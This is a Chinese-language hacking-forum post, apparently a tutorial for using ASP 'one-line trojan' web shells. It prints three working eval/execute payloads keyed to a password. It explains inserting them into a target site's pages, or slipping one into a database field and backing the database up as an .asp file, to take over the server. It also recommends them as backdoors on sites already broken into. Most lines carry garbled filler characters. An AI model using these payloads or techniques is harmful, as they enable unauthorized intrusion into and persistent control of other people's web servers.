返回列表 发帖

[原创教程] 一句话木马的使用方法视频

一句话木马的使用  $ C4 P8 H4 W9 x: i, w% w
  O% N0 S( U2 n" B+ [1 M4 v
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~# K( t. g, @  i6 Y
% {5 U7 F0 `+ S, P% M
- m4 B# C3 T, b& I2 D$ G5 v- T
1、咱们先弄懂怎么使用的。% X, U0 f. i3 z! T) k5 Q

5 e& m& K; z* n1 ]- {- o5 t: t$ y分为客户端和服务端2 _6 O0 M& q2 V  l
  i0 e! ?2 w% o8 q$ l
" f* u4 q2 f& k. ^* k! Y
客户端是连接上去的程序,也可以是网页
6 ^7 U$ \) V" [! x- U
. A7 b) R3 m7 a) y; Ghttp://www.3ast.com.cn/tool/yijuhua.html, S. b4 \* h- R$ d- V9 y4 s4 Z, Y

: O0 t6 ?+ @- o服务端就是一段代码,代码里有对应的“密码”
% Q/ H9 }, u& w8 _2 Q: w0 d' i- p$ x
* ?1 g$ L* |, a, h+ E. y提供三个服务端: . R% X# C( ~: n; h1 E1 B
1. <%eval request("cnnsc")%> ' v" s% W# E" Q  }0 b9 k
2. <%execute request("cnnsc")%> # D1 j2 z. |8 M
3. <%execute(request("cnnsc"))%> / i0 z0 a+ a9 `: t- @5 w

# N9 g1 z# B1 q9 U* Zcnnsc--密码
, n1 w: b! Y1 R3 t7 d& o* I/ _- s6 F& h- f
我们只要把这个代码插入到对方网站的网页中就可以了
, @* l5 r$ G# i
: R  q* n  ]3 ]1 n我演示下,用已经有的一个webshell添加一个asp文件,加上 <%eval request("cnnsc")%>
7 O( C% R! U* m& b
) H! O" T. J$ [3 c. Q- F- X换一个页面,添加过了。访问的时候一切正常,看链接- \- W0 O- _/ O% W3 b0 O

. F9 ~6 n) k7 Z* H7 H  b上传之后3 O0 V# B" ]8 K6 T+ ?$ I
, e& u8 u$ v- D, z% @" M7 V
链接上去了  ^4 N) h- ^; M& S1 u1 K, F' O
OK.这个就是链接的主要过程
. P* v! O2 r: i4 F# I+ R3 S; ]5 l; w0 y4 ^: W
& S9 W* `' L) Q  Y, r# F' G4 S/ B

' r$ e9 v1 B5 q! ]1 l" j8 u- l: `% c7 }5 `" f6 k
2、然后懂得哪里会用上、怎么用
8 z4 j+ S; u* n( |) h
. K+ B( _( n4 Q! Z) V(1)有的时候我们进入了XXX的后台,后台有备份数据库,那么我们就可以在系统中插入这个一句话代码,任意地方,比如皮肤名称啊,文章标题啊,只要是会被写进数据库的就可以了,然后备份数据库成一个asp文件(也有php的一句话),然后链接就可以拿下来了
5 Q) u( F% O5 q9 S! P+ I3 `$ _1 P+ p! R4 z7 c: _( p
(2)可以给自己入侵的网站留下后门。。。。* n+ i' O2 d; B1 O# J
2 x$ ~9 `. c- B6 R
(3)我再想想。。。哎,想不出,还是要自己多多实践。。。。
. _5 C7 p0 U2 b7 f3 O) ?
$ r. K* I1 C/ J) ~: v9 N& ?/ u好了,教程到此结束,不懂的可以再来问我。。。790653916
附件: 您需要登录才可以下载或查看附件。没有帐号?注册
1

评分人数

  • huar

返回列表